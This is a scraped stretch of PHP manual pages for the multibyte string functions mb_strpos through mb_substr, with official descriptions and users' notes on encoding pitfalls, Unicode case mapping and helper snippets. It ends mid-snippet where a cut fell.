# mb_strtoupper is 112.78 slower than strtoupper
motin at demomusic dot nu 06-Feb-2007 07:12
Thank you Peter Albertsson for presenting that!

After spending more than eight hours tracking down two specific bugs in my mbstring-func_overloaded environment I have learned a very important lesson:

Many developers rely on strlen to give the amount of bytes in a string. While mb-overloading has very many advantages, the most hard-spotted pitfall must be this issue.

Two examples (from the two bugs found earlier):

1. Writing a string to a file:

<?php
$str = "string with utf-8 chars åèä - doo-bee doo-bee dooh";
$fp = fopen($this->_file, "wb");
if ($fp) {
  $len = strlen($str);
  fwrite($fp, $str, $len);
}
?>

PS This is found i the PEAR::Cache_Lite package (Lite.php) - Reported

2. Iterating through a string's characters:

<?php
$str = "string with utf-8 chars åèö - doo-bee doo-bee dooh";
$newStr = "";
for ($i = 0; $i < strlen($str); $i++) {
  $newStr .= $str[$i];
}
?>

Both of these situations will fail to save / store the last characters in $str. This can be very hard to spot and can be especially fatal for say serialized strings, xml etc.

So, try to avoid these situations to support overloaded environments, and remeber Peter Albertssons remark if you find problems under such an environment.
filatei at gmail dot com 12-Aug-2006 07:48
I have been working with some funny html characters lately and due to the nightmare in manipulating them between mysql and php, I got the database column set to utf8, then store characters with html enity "&#7885;" as ọ in the database and set the encoding on php as "utf8".

This is where mb_strlen became more useful than strlen.  While strlen('ọ') gives result as 3, mb_strlen('ọ','UTF-8') gives 1 as expected.

But left(column1,1) in mysql still gives wrong char for a multibyte string.  In the example above, I had to do left(column1,3) to get the correct string from mysql.  I am now about to investigate multibyte manipulation in mysql.
Peter Albertsson 10-Nov-2004 11:21
If you wish to find the byte length of a multi-byte string when you are using mbstring.func_overload 2 and UTF-8 strings, then you can use the following:

mb_strlen($utf8_string, 'latin1');


Find position of first occurrence of string in a string

  • « mb_strlen
  • mb_strrchr »
  • PHP Manual
  • Multibyte String Functions
  • Find position of first occurrence of string in a string

mb_strpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strpos — Find position of first occurrence of string in a string

Description

int mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

Finds position of the first occurrence of a string in a string.

Performs a multi-byte safe strpos() operation based on number of characters. The first character's position is 0, the second character position is 1, and so on.

Parameters

haystack

The string being checked.

needle

The string to find in haystack. In contrast with strpos(), numeric values are not applied as the ordinal value of a character.

offset

The search offset. If it is not specified, 0 is used.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the numeric position of the first occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • strpos() - Find the position of the first occurrence of a substring in a string

User Contributed Notes

stestagg at talk21 dot com 06-Aug-2006 02:12
sorry, my previous post had an error.  replace the 1000 with strlen($haystack) to handle strings longer than 1000 chars.

btw. This is an issue with the mbstring functions.  you can't specify the $encoding without specifying a $length, thus this reduces the functionality of mb_substr compared to substr
stestagg at talk21 dot com 04-Aug-2006 06:42
a sample mb_str_replace function:

function mb_str_replace($haystack, $search,$replace, $offset=0,$encoding='auto'){
    $len_sch=mb_strlen($search,$encoding);
    $len_rep=mb_strlen($replace,$encoding);

    while (($offset=mb_strpos($haystack,$search,$offset,$encoding))!==false){
        $haystack=mb_substr($haystack,0,$offset,$encoding)
            .$replace
            .mb_substr($haystack,$offset+$len_sch,1000,$encoding);
        $offset=$offset+$len_rep;
        if ($offset>mb_strlen($haystack,$encoding))break;
    }
    return $haystack;
}
stestagg at talk21 dot com 04-Aug-2006 06:39
It appears that the $offset value is a character count not a byte count.  (This may seem obvious but it isn't explicitly stated)


Finds the last occurrence of a character in a string within another

  • « mb_strpos
  • mb_strrichr »
  • PHP Manual
  • Multibyte String Functions
  • Finds the last occurrence of a character in a string within another

mb_strrchr

(PHP 5 >= 5.2.0)

mb_strrchr — Finds the last occurrence of a character in a string within another

Description

string mb_strrchr ( string $haystack , string $needle [, bool $part = false [, string $encoding = mb_internal_encoding() ]] )

mb_strrchr() finds the last occurrence of needle in haystack and returns the portion of haystack. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the last occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the last occurrence of needle. If set to FALSE, it returns all of haystack from the last occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack. or FALSE if needle is not found.

See Also

  • strrchr() - Find the last occurrence of a character in a string
  • mb_strstr() - Finds first occurrence of a string within another
  • mb_strrichr() - Finds the last occurrence of a character in a string within another, case insensitive

User Contributed Notes

There are no user contributed notes for this page.


Finds the last occurrence of a character in a string within another, case insensitive

  • « mb_strrchr
  • mb_strripos »
  • PHP Manual
  • Multibyte String Functions
  • Finds the last occurrence of a character in a string within another, case insensitive

mb_strrichr

(PHP 5 >= 5.2.0)

mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive

Description

string mb_strrichr ( string $haystack , string $needle [, bool $part = false [, string $encoding = mb_internal_encoding() ]] )

mb_strrichr() finds the last occurrence of needle in haystack and returns the portion of haystack. Unlike mb_strrchr(), mb_strrichr() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the last occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the last occurrence of needle. If set to FALSE, it returns all of haystack from the last occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack. or FALSE if needle is not found.

See Also

  • mb_stristr() - Finds first occurrence of a string within another, case insensitive
  • mb_strrchr() - Finds the last occurrence of a character in a string within another

User Contributed Notes

There are no user contributed notes for this page.


Finds position of last occurrence of a string within another, case insensitive

  • « mb_strrichr
  • mb_strrpos »
  • PHP Manual
  • Multibyte String Functions
  • Finds position of last occurrence of a string within another, case insensitive

mb_strripos

(PHP 5 >= 5.2.0)

mb_strripos — Finds position of last occurrence of a string within another, case insensitive

Description

int mb_strripos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

mb_strripos() performs multi-byte safe strripos() operation based on number of characters. needle position is counted from the beginning of haystack. First character's position is 0. Second character position is 1. Unlike mb_strrpos(), mb_strripos() is case-insensitive.

Parameters

haystack

The string from which to get the position of the last occurrence of needle

needle

The string to find in haystack

offset

The position in haystack to start searching

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Return the numeric position of the last occurrence of needle in the haystack string, or FALSE if needle is not found.

See Also

  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • mb_strrpos() - Find position of last occurrence of a string in a string

User Contributed Notes

easai 28-May-2010 06:53
Here are Java like startsWith/endsWith implementations in PHP.

<?php
    function startsWith($haystack,$needle)
    {
      $res=FALSE;
      if(mb_strripos($haystack,$needle,0,"utf-8")==0)
         $res= TRUE;
      return $res;
    }

    function endsWith($haystack,$needle)
    {
      $res=FALSE;
      $len=mb_strlen($haystack);
      $pos=$len-mb_strlen($needle);
      if(mb_strripos($haystack,$needle,0,"utf-8")==$pos)
         $res= TRUE;
      return $res;
    }
?>


Find position of last occurrence of a string in a string

  • « mb_strripos
  • mb_strstr »
  • PHP Manual
  • Multibyte String Functions
  • Find position of last occurrence of a string in a string

mb_strrpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strrpos — Find position of last occurrence of a string in a string

Description

int mb_strrpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

Performs a multibyte safe strrpos() operation based on the number of characters. needle position is counted from the beginning of haystack. First character's position is 0. Second character position is 1.

Parameters

haystack

The string being checked, for the last occurrence of needle

needle

The string to find in haystack.

offset
May be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string.
encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the numeric position of the last occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

Changelog

Version | Description
5.2.0 | Added the optional parameter offset.

Notes

Note: The encoding parameter was moved from the third position to the fourth in PHP 5.2.0. For backward compatibility, encoding can be specified as the third parameter, but doing so is deprecated and will be removed in the future.

See Also

  • mb_strpos() - Find position of first occurrence of string in a string
  • mb_internal_encoding() - Set/Get internal character encoding
  • strrpos() - Find the position of the last occurrence of a substring in a string

User Contributed Notes

28-Nov-2005 03:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.


Finds first occurrence of a string within another

  • « mb_strrpos
  • mb_strtolower »
  • PHP Manual
  • Multibyte String Functions
  • Finds first occurrence of a string within another

mb_strstr

(PHP 5 >= 5.2.0)

mb_strstr — Finds first occurrence of a string within another

Description

string mb_strstr ( string $haystack , string $needle [, bool $before_needle = false [, string $encoding = mb_internal_encoding() ]] )

mb_strstr() finds the first occurrence of needle in haystack and returns the portion of haystack. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the first occurrence of needle

needle

The string to find in haystack

before_needle

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the first occurrence of needle (excluding needle). If set to FALSE, it returns all of haystack from the first occurrence of needle to the end (including needle).

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack, or FALSE if needle is not found.

See Also

  • stristr() - Case-insensitive strstr
  • strstr() - Find the first occurrence of a string
  • mb_stristr() - Finds first occurrence of a string within another, case insensitive

User Contributed Notes

There are no user contributed notes for this page.


Make a string lowercase

  • « mb_strstr
  • mb_strtoupper »
  • PHP Manual
  • Multibyte String Functions
  • Make a string lowercase

mb_strtolower

(PHP 4 >= 4.3.0, PHP 5)

mb_strtolower — Make a string lowercase

Description

string mb_strtolower ( string $str [, string $encoding = mb_internal_encoding() ] )

Returns str with all alphabetic characters converted to lowercase.

Parameters

str

The string being lowercased.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

str with all alphabetic characters converted to lowercase.

Unicode

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

By contrast to strtolower(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut (Ä).

Examples

Example #1 mb_strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

Example #2 mb_strtolower() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_strtolower($str, 'UTF-8');
echo $str; // Prints τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός
?>

See Also

  • mb_strtoupper() - Make a string uppercase
  • mb_convert_case() - Perform case folding on a string
  • strtolower() - Make a string lowercase

User Contributed Notes

fisharebest at gmail dot com 19-Apr-2012 01:27
There is not a one-to-one correspondence between upper and lower case letters.

Turkish is a good example of this.  In Turkish, the letter I/i has a dotted-upper-case form (İ) and a dotless-lower-case form (ı).

https://en.wikipedia.org/wiki/Dotted_and_dotless_I

This means that you cannot correctly convert between upper-case and lower-case without also knowing the locale of the data.

Since the function does not let you specify a locale, you should only use this function for text written in languages that follow the same orthography as English.

Although it does handle some digraphs, such as the Dutch ij (ĳ), it does not handle others, such as the Polish dz (ʣ).
akniep at linklift dot net 12-Sep-2011 05:42
Please, note that when using with UTF-8 mb_strtolower will only convert upper case characters to lower case which are marked with the Unicode property "Upper case letter" ("Lu"). However, there are also letters such as "Letter numbers" (Unicode property "Nl") that also have lower case and upper case variants. These characters will not be converted be mb_strtolower!

Example:
The Roman letters Ⅰ, Ⅱ, Ⅲ, ..., Ⅿ (UTF-8 code points 8544 through 8559) also exist in their respective lower case variants ⅰ, ⅱ, ⅲ, ..., ⅿ (UTF-8 code points 8560 through 8575) and should, in my opinion, also be converted by mb_strtolower, but they are not!

Big internet-companies (like Google) do match both variants as semantically equal (since the representations only differ in case).

Since I was not finding any proper solution in the internet on how to map all UTF8-strings to their lowercase counterpart in PHP, I offer the following hard-coded extended mb_strtolower function for UTF-8 strings:

The function wraps the existing function mb_strtolower() and additionally replaces uppercase UTF8-characters for which there is a lowercase representation. Since there is no proper Unicode uppercase and lowercase character-table in the internet that I was able to find, I checked the first million UTF8-characters against the Google-search and -KeywordTool and identified the following 78 characters as uppercase-characters, not being replaced by mb_strtolower, but having a UTF8 lowercase counterpart.

<?php

//the numbers in the in-line-comments display the characters' Unicode code-points (CP).
function strtolower_utf8_extended( $utf8_string )
{
    $additional_replacements    = array
        ( "ǅ"    => "ǆ"        //   453 ->   454
        , "ǈ"    => "ǉ"        //   456 ->   457
        , "ǋ"    => "ǌ"        //   459 ->   460
        , "ǲ"    => "ǳ"        //   498 ->   499
        , "Ϸ"    => "ϸ"        //  1015 ->  1016
        , "Ϲ"    => "ϲ"        //  1017 ->  1010
        , "Ϻ"    => "ϻ"        //  1018 ->  1019
        , "ᾈ"    => "ᾀ"        //  8072 ->  8064
        , "ᾉ"    => "ᾁ"        //  8073 ->  8065
        , "ᾊ"    => "ᾂ"        //  8074 ->  8066
        , "ᾋ"    => "ᾃ"        //  8075 ->  8067
        , "ᾌ"    => "ᾄ"        //  8076 ->  8068
        , "ᾍ"    => "ᾅ"        //  8077 ->  8069
        , "ᾎ"    => "ᾆ"        //  8078 ->  8070
        , "ᾏ"    => "ᾇ"        //  8079 ->  8071
        , "ᾘ"    => "ᾐ"        //  8088 ->  8080
        , "ᾙ"    => "ᾑ"        //  8089 ->  8081
        , "ᾚ"    => "ᾒ"        //  8090 ->  8082
        , "ᾛ"    => "ᾓ"        //  8091 ->  8083
        , "ᾜ"    => "ᾔ"        //  8092 ->  8084
        , "ᾝ"    => "ᾕ"        //  8093 ->  8085
        , "ᾞ"    => "ᾖ"        //  8094 ->  8086
        , "ᾟ"    => "ᾗ"        //  8095 ->  8087
        , "ᾨ"    => "ᾠ"        //  8104 ->  8096
        , "ᾩ"    => "ᾡ"        //  8105 ->  8097
        , "ᾪ"    => "ᾢ"        //  8106 ->  8098
        , "ᾫ"    => "ᾣ"        //  8107 ->  8099
        , "ᾬ"    => "ᾤ"        //  8108 ->  8100
        , "ᾭ"    => "ᾥ"        //  8109 ->  8101
        , "ᾮ"    => "ᾦ"        //  8110 ->  8102
        , "ᾯ"    => "ᾧ"        //  8111 ->  8103
        , "ᾼ"    => "ᾳ"        //  8124 ->  8115
        , "ῌ"    => "ῃ"        //  8140 ->  8131
        , "ῼ"    => "ῳ"        //  8188 ->  8179
        , "Ⅰ"    => "ⅰ"        //  8544 ->  8560
        , "Ⅱ"    => "ⅱ"        //  8545 ->  8561
        , "Ⅲ"    => "ⅲ"        //  8546 ->  8562
        , "Ⅳ"    => "ⅳ"        //  8547 ->  8563
        , "Ⅴ"    => "ⅴ"        //  8548 ->  8564
        , "Ⅵ"    => "ⅵ"        //  8549 ->  8565
        , "Ⅶ"    => "ⅶ"        //  8550 ->  8566
        , "Ⅷ"    => "ⅷ"        //  8551 ->  8567
        , "Ⅸ"    => "ⅸ"        //  8552 ->  8568
        , "Ⅹ"    => "ⅹ"        //  8553 ->  8569
        , "Ⅺ"    => "ⅺ"        //  8554 ->  8570
        , "Ⅻ"    => "ⅻ"        //  8555 ->  8571
        , "Ⅼ"    => "ⅼ"        //  8556 ->  8572
        , "Ⅽ"    => "ⅽ"        //  8557 ->  8573
        , "Ⅾ"    => "ⅾ"        //  8558 ->  8574
        , "Ⅿ"    => "ⅿ"        //  8559 ->  8575
        , "Ⓐ"    => "ⓐ"        //  9398 ->  9424
        , "Ⓑ"    => "ⓑ"        //  9399 ->  9425
        , "Ⓒ"    => "ⓒ"        //  9400 ->  9426
        , "Ⓓ"    => "ⓓ"        //  9401 ->  9427
        , "Ⓔ"    => "ⓔ"        //  9402 ->  9428
        , "Ⓕ"    => "ⓕ"        //  9403 ->  9429
        , "Ⓖ"    => "ⓖ"        //  9404 ->  9430
        , "Ⓗ"    => "ⓗ"        //  9405 ->  9431
        , "Ⓘ"    => "ⓘ"        //  9406 ->  9432
        , "Ⓙ"    => "ⓙ"        //  9407 ->  9433
        , "Ⓚ"    => "ⓚ"        //  9408 ->  9434
        , "Ⓛ"    => "ⓛ"        //  9409 ->  9435
        , "Ⓜ"    => "ⓜ"        //  9410 ->  9436
        , "Ⓝ"    => "ⓝ"        //  9411 ->  9437
        , "Ⓞ"    => "ⓞ"        //  9412 ->  9438
        , "Ⓟ"    => "ⓟ"        //  9413 ->  9439
        , "Ⓠ"    => "ⓠ"        //  9414 ->  9440
        , "Ⓡ"    => "ⓡ"        //  9415 ->  9441
        , "Ⓢ"    => "ⓢ"        //  9416 ->  9442
        , "Ⓣ"    => "ⓣ"        //  9417 ->  9443
        , "Ⓤ"    => "ⓤ"        //  9418 ->  9444
        , "Ⓥ"    => "ⓥ"        //  9419 ->  9445
        , "Ⓦ"    => "ⓦ"        //  9420 ->  9446
        , "Ⓧ"    => "ⓧ"        //  9421 ->  9447
        , "Ⓨ"    => "ⓨ"        //  9422 ->  9448
        , "Ⓩ"    => "ⓩ"        //  9423 ->  9449
        , "𐐦"    => "𐑎"        // 66598 -> 66638
        , "𐐧"    => "𐑏"        // 66599 -> 66639
        );

    $utf8_string    = mb_strtolower( $utf8_string, "UTF-8");

    $utf8_string    = strtr( $utf8_string, $additional_replacements );

    return $utf8_string;
} //strtolower_utf8_extended()

?>
Ken Shiro 31-Jul-2010 11:07
[If you get this error:]
Fatal error: Call to undefined function: mb_strtolower() in ????.php on line ??

The PHP mbstring extension, which is required to handle international character sets, is not available on your server. Check your PHP configuration and make sure that PHP has been compiled with --enable-mbstring.

It's also apply to
Call to undefined function mb_eregi() / mb_strtolower()
Philipp H 01-Nov-2007 07:11
Note that mb_strtolower() is very SLOW, if you have a database connection, you may want to use it to convert your strings to lower case. Even latin1/9 (iso-8859-1/15) and other encodings are possible.

Have a look at my simple benchmark:

<?php

$text = "Lörem ipßüm dölör ßit ämet, cönßectetüer ädipißcing elit. Sed ligülä. Präeßent jüßtö tellüß, grävidä eü, tempüß ä, mättiß nön, örci. Näm qüiß lörem. Näm äliqüet elit ßed elit. Phäßellüß venenätiß jüßtö eget enim. Dönec nißl. Pröin mättiß venenätiß jüßtö. Sed äliqüäm pörtä örci. Cräß elit nißl, cönvälliß qüiß, tincidünt ät, vehicülä äccümßän, ödiö. Sed möleßtie. Etiäm mölliß feügiät elit. Veßtibülüm änte ipßüm primiß in fäücibüß örci lüctüß et ültriceß pößüere cübiliä Cüräe; Mäecenäß nön nüllä.";

// mb_strtolower()
$timeMB = microtime(true);

    for($i=0;$i<30000;$i++)
        $lower = mb_strtolower("$text/no-cache-$i");

$timeMB = microtime(true) - $timeMB;

// MySQL lower()
$timeSQL = microtime(true);

    mysql_query("set names latin1");
    for($i=0;$i<30000;$i++) {
        $r = mysql_fetch_row(mysql_query("select lower('$text/no-cache-$i')"));
        $lower = $r[0];
    }

$timeSQL = microtime(true) - $timeSQL;

echo "mb: ".sprintf("%.5f",$timeMB)." sek.<br />";
echo "sql: ".sprintf("%.5f",$timeSQL)." sek.<br />";

// Result on my notebook:
// mb: 11.50642 sek.
// sql: 5.44143 sek.

?>
btherl at yahoo dot com dot au 16-Nov-2005 06:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.


Make a string uppercase

  • « mb_strtolower
  • mb_strwidth »
  • PHP Manual
  • Multibyte String Functions
  • Make a string uppercase

mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5)

mb_strtoupper — Make a string uppercase

Description

string mb_strtoupper ( string $str [, string $encoding = mb_internal_encoding() ] )

Returns str with all alphabetic characters converted to uppercase.

Parameters

str

The string being uppercased.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

str with all alphabetic characters converted to uppercase.

Unicode

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

By contrast to strtoupper(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as a-umlaut (ä).

Examples

Example #1 mb_strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Example #2 mb_strtoupper() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_strtoupper($str, 'UTF-8');
echo $str; // Prints ΤΆΧΙΣΤΗ ΑΛΏΠΗΞ ΒΑΦΉΣ ΨΗΜΈΝΗ ΓΗ, ΔΡΑΣΚΕΛΊΖΕΙ ΥΠΈΡ ΝΩΘΡΟΎ ΚΥΝΌΣ
?>

See Also

  • mb_strtolower() - Make a string lowercase
  • mb_convert_case() - Perform case folding on a string
  • strtoupper() - Make a string uppercase

User Contributed Notes

Stefan W 28-Aug-2013 02:44
mb_strtoupper() will not convert the German "ß" character into its (relatively new) uppercase form ("ẞ").
mb_strtolower() will, however, convert the uppercase form into a lowercase "ß". (tested with PHP 5.5.0)
"SS" is still the most common uppercase presentation of "ß". If you want this, you'll have to do it manually:

<?php
mb_internal_encoding("UTF-8");
echo mb_strtoupper("Maß\n");  // "MAß"
echo mb_strtolower("MAẞ\n");  // "maß"
echo mb_strtoupper(str_replace("ß", "SS", "Maß\n"));  // "MASS"
?>
tomasz at trejderowski dot pl 29-Dec-2010 02:01
Please note, that in many cases, forcing UTF-8 encoding with second parameter is necessary. PHP documentation states that if this parameter is omitted, the internal character encoding value will be used. But in my case it turned out to be not true. Even though I have all my pages encoded in UTF-8 and my DB connection set to force UTF-8 encoding, comparison of user-input and DB-retrieved data, which is using mb_strtoupper, did not work until I forced encoding.
rai at philscan dot com 10-Aug-2009 09:33
for some reason, there are instances that special characters do show when you use this function, but when you revisit or refresh the page the special characters doesn't appear anymore, ie GRSARMERING is being displayed instead of GRÆSARMERING. You have to provide the second parameter which charset you are using to override the value. in my case it's iso-8859-1, so the function would now look like

mb_strtoupper($foo, 'iso-8859-1')


Return width of string

  • « mb_strtoupper
  • mb_substitute_character »
  • PHP Manual
  • Multibyte String Functions
  • Return width of string

mb_strwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strwidth — Return width of string

Description

int mb_strwidth ( string $str [, string $encoding = mb_internal_encoding() ] )

Returns the width of string str.

Multi-byte characters are usually twice the width of single byte characters.

Characters width
Chars | Width
U+0000 - U+0019 | 0
U+0020 - U+1FFF | 1
U+2000 - U+FF60 | 2
U+FF61 - U+FF9F | 1
U+FFA0 - | 2

Parameters

str

The string being decoded.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The width of string str.

See Also

  • mb_strimwidth() - Get truncated string with specified width
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

Adam Altman 16-Jan-2014 12:51
Important, if you're looking to trim/cut/truncate a string so that it will fit a certain byte size (for example to fit in a database field), look at:  mb_strcut()
chiangtor at gmail dot com 13-Sep-2013 12:30
to convert a multi-byte character into hex strings:
    <?php
        $b = "現，市民派利市的習慣亦有所改變";
        printf("length of string: %d \n", mb_strlen($b, 'UTF-8'));
        for ($i=0; $i < mb_strlen($b, 'UTF-8'); $i++){
            $ch = mb_substr($b, $i, 1, 'UTF-8');
            $chlen = strlen($ch);
            $hexs = '';
            for ($j=0; $j < $chlen; $j++)
                $hexs = $hexs . sprintf("%x", ord($ch[$j]));
            printf ("width=%d => '%s' |hex=%s\n", $chlen, $ch, $hexs );
        }
    ?>

width=3 => '現' |hex=e78fbe
width=3 => '，' |hex=efbc8c
width=3 => '市' |hex=e5b882
width=3 => '民' |hex=e6b091
width=3 => '派' |hex=e6b4be
width=3 => '利' |hex=e588a9
width=3 => '市' |hex=e5b882
width=3 => '的' |hex=e79a84
width=3 => '習' |hex=e7bf92
width=3 => '慣' |hex=e685a3
width=3 => '亦' |hex=e4baa6
width=3 => '有' |hex=e69c89
width=3 => '所' |hex=e68980
width=3 => '改' |hex=e694b9
width=3 => '變' |hex=e8ae8a
larry1chan at gmail dot com 07-Feb-2008 07:38
to convert a multi-byte character into hex strings:

$b = "現，市民派利市的習慣亦有所改變";

    printf("length of string: %d <br>", mb_strlen($b, 'UTF-8'));
    for ($i=0; $i < mb_strlen($b, 'UTF-8'); $i++){
        $ch = mb_substr($b, $i, 1, 'UTF-8');
        $chlen = mb_strwidth($ch, 'UTF-8');
        $hexs = '';
        for ($j=0; $j < $chlen; $j++)
            $hexs = $hexs . sprintf("%x", ord($ch[$j]));
        printf ("width=%d => '%s' |hex=%s<br>", $chlen, $ch, $hexs );

    }
Anonymous 01-Nov-2007 01:27
Note: mb_strwidth is NOT returning bytes.  It's returning the width of monotype characters.  (In some languages, some characters will take up 2 character widths if displayed in monotype.)


Set/Get substitution character

  • « mb_strwidth
  • mb_substr_count »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get substitution character

mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5)

mb_substitute_character — Set/Get substitution character

Description

mixed mb_substitute_character ([ mixed $substrchar = mb_substitute_character() ] )

Specifies a substitution character when input character encoding is invalid or character code does not exist in output character encoding. Invalid characters may be substituted NULL (no output), string or integer value (Unicode character code value).

This setting affects mb_convert_encoding(),
mb_convert_variables(),
mb_output_handler(),
and mb_send_mail().

Parameters

substrchar

Specify the Unicode value as an integer, or as one of the following strings:

  • "none": no output
  • "long": Output character code value (Example: U+3000, JIS+7E7E)
  • "entity": Output character entity (Example: Ȁ)

Return Values

If substchar is set, it returns TRUE for success, otherwise returns FALSE. If substchar is not set, it returns the current setting.

Examples

Example #1 mb_substitute_character() example

<?php
/* Set with Unicode U+3013 (GETA MARK) */
mb_substitute_character(0x3013);

/* Set hex format */
mb_substitute_character("long");

/* Display current setting */
echo mb_substitute_character();
?>

User Contributed Notes

There are no user contributed notes for this page.


Count the number of substring occurrences

  • « mb_substitute_character
  • mb_substr »
  • PHP Manual
  • Multibyte String Functions
  • Count the number of substring occurrences

mb_substr_count

(PHP 4 >= 4.3.0, PHP 5)

mb_substr_count — Count the number of substring occurrences

Description

int mb_substr_count ( string $haystack , string $needle [, string $encoding = mb_internal_encoding() ] )

Counts the number of times the needle substring occurs in the haystack string.

Parameters

haystack

The string being checked.

needle

The string being found.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The number of times the needle substring occurs in the haystack string.

Examples

Example #1 mb_substr_count() example

<?php
echo mb_substr_count("This is a test", "is"); // prints out 2
?>

See Also

  • mb_strpos() - Find position of first occurrence of string in a string
  • mb_substr() - Get part of string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

There are no user contributed notes for this page.


Get part of string

  • « mb_substr_count
  • Pspell »
  • PHP Manual
  • Multibyte String Functions
  • Get part of string

mb_substr

(PHP 4 >= 4.0.6, PHP 5)

mb_substr — Get part of string

Description

string mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )

Performs a multi-byte safe substr() operation based on number of characters. Position is counted from the beginning of str. First character's position is 0. Second character position is 1, and so on.

Parameters

str

The string to extract the substring from.

start

Position of first character to use from str.

length

Maximum number of characters to use from str. If omitted or NULL is passed, extract all characters to the end of the string.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

mb_substr() returns the portion of str specified by the start and length parameters.

See Also

  • mb_strcut() - Get part of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

sanjuro at 1up-games dot com 28-Sep-2013 03:18
A serious pitfall when using mb_substr() set to HTML-ENTITIES encoding is that the function performs a number of conversions before returning the value, the worst one being that html special characters are not just counted but decoded.

<?php

mb_internal_encoding("ISO-8859-1"); echo mb_internal_encoding(),"\n<br><br>\n";

$a='j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;';

echo mb_substr($a,0),"\n<br><br>\n";
// page source: j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;

echo mb_substr($a,0,strlen($a),'HTML-ENTITIES');
// page source: j&uuml;st &auml; " simple " &#26085;&#26412; <b>test</b>

?>
desmatic at gmail dot com 30-Apr-2013 12:51
quick and dirty loop through multibyte string
<?php
function get_character_classes($string, $encoding = "UTF-8") {
    $current_encoding = mb_internal_encoding();
    mb_internal_encoding($encoding);
    $has = array();
    $stringlength = mb_strlen($string, $encoding);
    for ($i=0; $i < $stringlength; $i++) {
        $c = mb_substr($string, $i, 1);
        if (($c >= "0") && ($c <= "9")) {
            $has['numeric'] = "numeric";
        } else if (($c >= "a") && ($c <= "z")) {
            $has['alpha'] = "alpha";
            $has['alphalower'] = 'alphalower';
        } else if (($c >= "A") && ($c <= "Z")) {
            $has['alpha'] = "alpha";
            $has['alphaupper'] = "alphaupper";
        } else if (($c == "$") || ($c == "£")) {
            $has['currency'] = "currency";
        } else if (($c == ".") && ($has['decimal'])) {
            $has['decimals'] = "decimals";
        } else if ($c == ".") {
            $has['decimal'] = "decimal";
        } else if ($c == ",") {
            $has['comma'] = "comma";
        } else if ($c == "-") {
            $has['dash'] = "dash";
        } else if ($c == " ") {
            $has['space'] = "space";
